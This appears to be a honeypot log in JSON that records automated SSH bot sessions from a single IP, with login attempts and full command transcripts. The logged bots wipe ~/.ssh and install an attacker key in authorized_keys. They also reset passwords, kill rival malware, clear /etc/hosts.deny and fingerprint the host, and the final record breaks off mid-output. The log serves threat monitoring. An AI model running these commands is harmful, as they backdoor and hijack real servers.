{"id":"f00c17a5-4d18-4688-b503-11db1633996b","name":"woven-fabled-polecat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57484,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:10:07.280852+00:00","ended_at":"2026-08-27T13:10:08.428732+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:09:47.502470+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:09:47.832879+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:09:51.909254+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:09:52.432865+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:09:52.761867+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bDf96yyeeNOr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:09:53.087731+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:09:53.412719+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:09:53.793573+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:09:54.122637+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:09:55.259155+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:09:55.896142+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:09:57.202219+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:09:57.529725+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:09:58.012462+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:09:58.339418+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:09:59.177755+00:00","kind":"output","latency_ms":null,"data":" 13:09:59 up 7 days, 10:00, 0 user, load average: 0.35, 0.41, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:09:59.505512+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:09:59.772050+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:10:00.100841+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:10:00.874276+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:10:01.202202+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:10:01.888845+00:00","kind":"output","latency_ms":null,"data":"top - 13:10:01 up 7 days, 10:00, 0 user, load average: 0.35, 0.41, 0.26\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:10:02.217162+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:10:02.661540+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:10:02.987161+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:10:03.789210+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:10:04.117780+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:10:04.912127+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:10:05.239720+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:10:06.955060+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:10:07.282251+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:10:08.331541+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Oracle@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"7c00e4aa-3488-4bea-8bb2-f9440acaf674","name":"nameless-lonesome-crane","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":38856,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:09:50.689062+00:00","ended_at":"2026-08-27T13:09:51.813302+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"28ca9c99-8a9d-490c-a60e-61f70bf54920","name":"rugged-solar-wigeon","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":57492,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:09:48.578780+00:00","ended_at":"2026-08-27T13:09:49.993647+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a51727bf-109c-4e8a-a6ec-da8fe12737a8","name":"creaky-brave-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":42762,"username":"ardi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:08:00.808131+00:00","ended_at":"2026-08-27T13:08:02.709755+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T13:07:43.175487+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:07:43.503229+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:07:47.321417+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:07:47.703184+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:07:48.032624+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ardi\\nhhsvpgQR1ecV\\nhhsvpgQR1ecV\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:07:48.359957+00:00","kind":"input","latency_ms":null,"data":"echo \"ardi\\nhhsvpgQR1ecV\\nhhsvpgQR1ecV\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:07:48.687568+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:07:49.182141+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:07:49.510229+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:07:50.495740+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:07:50.826896+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:07:52.028812+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:07:52.358810+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:07:53.010406+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:07:53.338931+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:07:54.042393+00:00","kind":"output","latency_ms":null,"data":" 13:07:54 up 7 days, 9:58, 0 user, load average: 0.21, 0.26, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:07:54.369785+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:07:54.821827+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:07:55.149805+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:07:55.708970+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:07:56.038303+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:07:56.363403+00:00","kind":"output","latency_ms":null,"data":"top - 13:07:56 up 7 days, 9:58, 0 user, load average: 0.21, 0.26, 0.21\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:07:56.703202+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:07:57.221512+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:07:57.555278+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:07:57.946135+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:07:58.262124+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:07:58.843682+00:00","kind":"output","latency_ms":null,"data":"ardi"},{"seq":29,"at":"2026-08-27T13:07:59.170522+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:08:00.472717+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:08:00.808771+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:08:02.608720+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ardi","password":"ardi","method":"password","accepted":true,"tier":"other"}]} {"id":"df41709d-64d3-4562-9836-4ca6ac287ced","name":"weathered-brisk-loris","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":42784,"username":"ardi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:07:45.770102+00:00","ended_at":"2026-08-27T13:07:47.223233+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ardi","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"496678f4-e522-4fdd-80b6-5a8aba4c82fc","name":"proud-placid-finch","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":42778,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:07:44.289331+00:00","ended_at":"2026-08-27T13:07:45.115360+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"98f7846c-2b00-4d02-911d-880d43d131a8","name":"early-salty-marmot","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":43030,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:06:02.636910+00:00","ended_at":"2026-08-27T13:06:04.735285+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T13:05:41.373420+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:05:41.699718+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:05:46.251481+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:05:47.151624+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:05:47.479836+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pivpn1234\\n8ykTkKW4F36f\\n8ykTkKW4F36f\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:05:47.807659+00:00","kind":"input","latency_ms":null,"data":"echo \"pivpn1234\\n8ykTkKW4F36f\\n8ykTkKW4F36f\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:05:48.448145+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:05:49.141656+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:05:49.467332+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:05:50.593688+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:05:50.924372+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:05:52.316697+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:05:52.646141+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:05:53.167149+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:05:53.493997+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:05:53.943997+00:00","kind":"output","latency_ms":null,"data":" 13:05:53 up 7 days, 9:56, 0 user, load average: 0.07, 0.09, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:05:54.272169+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:05:55.442829+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:05:55.767719+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:05:56.089734+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:05:56.418171+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:05:58.433902+00:00","kind":"output","latency_ms":null,"data":"top - 13:05:58 up 7 days, 9:56, 0 user, load average: 0.07, 0.09, 0.05\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:05:58.763875+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:05:59.332287+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:05:59.660930+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:06:00.093873+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:06:00.420105+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:06:00.732959+00:00","kind":"output","latency_ms":null,"data":"pivpn"},{"seq":29,"at":"2026-08-27T13:06:01.062804+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:06:02.308884+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:06:02.637734+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:06:04.639129+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pivpn","password":"pivpn1234","method":"password","accepted":true,"tier":"other"}]} {"id":"f22f078d-71e6-4fa6-9f72-21f02134b0ab","name":"breezy-dewy-moorhen","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":43052,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:05:44.169440+00:00","ended_at":"2026-08-27T13:05:46.154659+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"pivpn","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9885b641-afdd-4307-bf50-787bdc971bc8","name":"arctic-brazen-dolphin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":43038,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:05:42.444682+00:00","ended_at":"2026-08-27T13:05:43.476466+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5a3174d7-8e96-4b90-aa2a-2e5a18678ffd","name":"gilded-gnarled-starling","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47522,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:04:05.419096+00:00","ended_at":"2026-08-27T13:04:06.597421+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T13:03:35.782592+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:03:36.109953+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:03:40.453312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:03:41.671152+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:03:42.006377+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user123456\\nG58SfTYjUgOu\\nG58SfTYjUgOu\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:03:42.341153+00:00","kind":"input","latency_ms":null,"data":"echo \"user123456\\nG58SfTYjUgOu\\nG58SfTYjUgOu\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:03:42.674942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:03:43.361567+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:03:44.058262+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:03:44.758771+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:03:45.088063+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:03:46.542445+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:03:46.872822+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:03:49.034000+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:03:49.363568+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:03:50.510314+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:03:50.843514+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:03:52.578714+00:00","kind":"output","latency_ms":null,"data":" 13:03:52 up 7 days, 9:53, 0 user, load average: 0.35, 0.34, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:03:52.908699+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:03:55.098175+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:03:55.425530+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:03:56.239263+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:03:56.568009+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:03:58.258402+00:00","kind":"output","latency_ms":null,"data":"top - 13:03:58 up 7 days, 9:54, 0 user, load average: 0.35, 0.34, 0.4\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 